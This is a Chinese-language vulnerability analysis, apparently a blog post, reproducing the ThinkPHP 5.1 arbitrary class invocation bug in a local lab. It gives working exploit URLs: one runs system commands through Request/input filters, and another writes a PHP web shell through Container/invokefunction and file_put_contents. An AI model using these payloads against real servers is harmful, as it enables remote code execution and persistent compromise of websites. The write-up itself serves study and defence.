0x01.Thinkphp V5.1

在复现漏洞前先要了解thinkphp的一些基本信息以及一切基本运行模式。

1.入口文件

应用程序的所有http请求都有某一个文件接受并由这个文件转发到不同的功能代码。

默认入口文件为根目录下的public/index.php

2.路由

thinkphp的访问规则类似文件路径的形式,形如

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

比如说我发起请求

http://127.0.0.1/tp5/public/index.php/index/index/hello/name/Mengd@

serverName为127.0.0.1

入口文件为tp5/public目录下的index.php文件

那么我访问的就是在服务器127.0.0.1上的tp5框架中的index模块中的index控制器中的hello操作,hello操作需要参数name,参数name的值为Mengd@

所以我们会得到输出:hello,Mengd@

0x02.漏洞分析

1.理论验证

我们发现thinkphp是通过url来判断当前用户是进行的那一步操作,那么thinkphp存在的一些内置类和方法我们可不可以直接通过url来进行使用呢?

我们访问一段url:http://127.0.0.1/tp5/public/index.php/index/index/hello/name/Mengd@并进行跟踪,看一下thinkphp是如何处理url的

命中断点,实例化控制器跟进controller方法

来到controller方法,跟进parseModuleAndClass方法

我们发现,当检测到$name中存在”\“的时候便会直接将$name赋值给$class,而我们发现类名都是带有命名空间的,所以这里我们就可以通过控制$name间接控制调用的类,进而达到实例化任何类的目的。

该漏洞的原理明了,就是对参数控制不严谨,导致存在任意类调用。理论成立,我们来实际操作一下。

2.Payload尝试

进行尝试

1
http://127.0.0.1/tp5/public/index.php/index/think\app/index

按照之前的实验,理想状况是进入parseMoudleAndClass方法,$name的值为think\app,因为存在”\“,所以$class=think\app,就会实例化think\app模块,并且调用index方法。

可是当我们实际操作的时候变成了,我们发现浏览器将“\”自动转为了”/“,那么就导致thinkphp解读为了index模块下的think控制器的app操作,给以一个内容为index的参数导致我们实例化目标类失败。

进入parseMoudleAndClass也可以看到这里的$name内容为think,而不是我们所希望的think\app

Why?

通过分析我们发现,以刚才那个url举例

1
http://127.0.0.1/tp5/public/index.php/index/think\app/index

url中的关键部分(模块/控制器/操作/参数…)部分“/index/think\app/index”被保存在了环境变量PATH_INFO当中

当然这里的”\“已经被替换为了“/”。

翻阅配置文件,发现该参数可以被变量s代替进行传入。

修改url访问:

1
http://127.0.0.1/tp5/public/index.php?s=/index/think\app/index

成功实例化think\app模块,该处提示方法不存在是因为确实没有index()这个方法。并且由此可以看出控制器已经实例化成功。

$name的值也正常,为think\app

至此,漏洞原理验证成功,现在只需要找到thinkphp自带的模块方法进行调用就好了

来远程命令执行(验证环境WIN10&KALI2019)

1
http://127.0.0.1/tp5/public/?s=index/\think\Request/input&filter[]=system&data=dir

shell写入(验证环境WIN10&KALI2019)(由于网上找的都存在控制器不存在的原因,我自己找了个写shell的模块)

修改点在think\Container模块,我找到的invokefunction方法是在app模块中的,但在5.1版本invokefunction方法已经被放入Container模块了

1
index/think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php system("ls");?>(注,这里的命令执行要注意部分命令在linux和windows中的区别)

3.payload跟进分析

我在win10环境下选择payload:

1
http://127.0.0.1/tp5/public/?s=index/\think\Request/input&filter[]=system&data=dir

进行跟进分析。

首先断点来到parseModuleAndClass方法

$name的值为”\think\request”

由于存在反斜杠,直接将其赋值给$class

进入controller方法,检测$class是否存在,存在直接返回$this->__get($class)

进入invokeMothod方法,通过invokeArgs方法即进入input操作

继续往下来到filterValue函数,通过call_user_func()函数执行命令,得到了我们想要的结果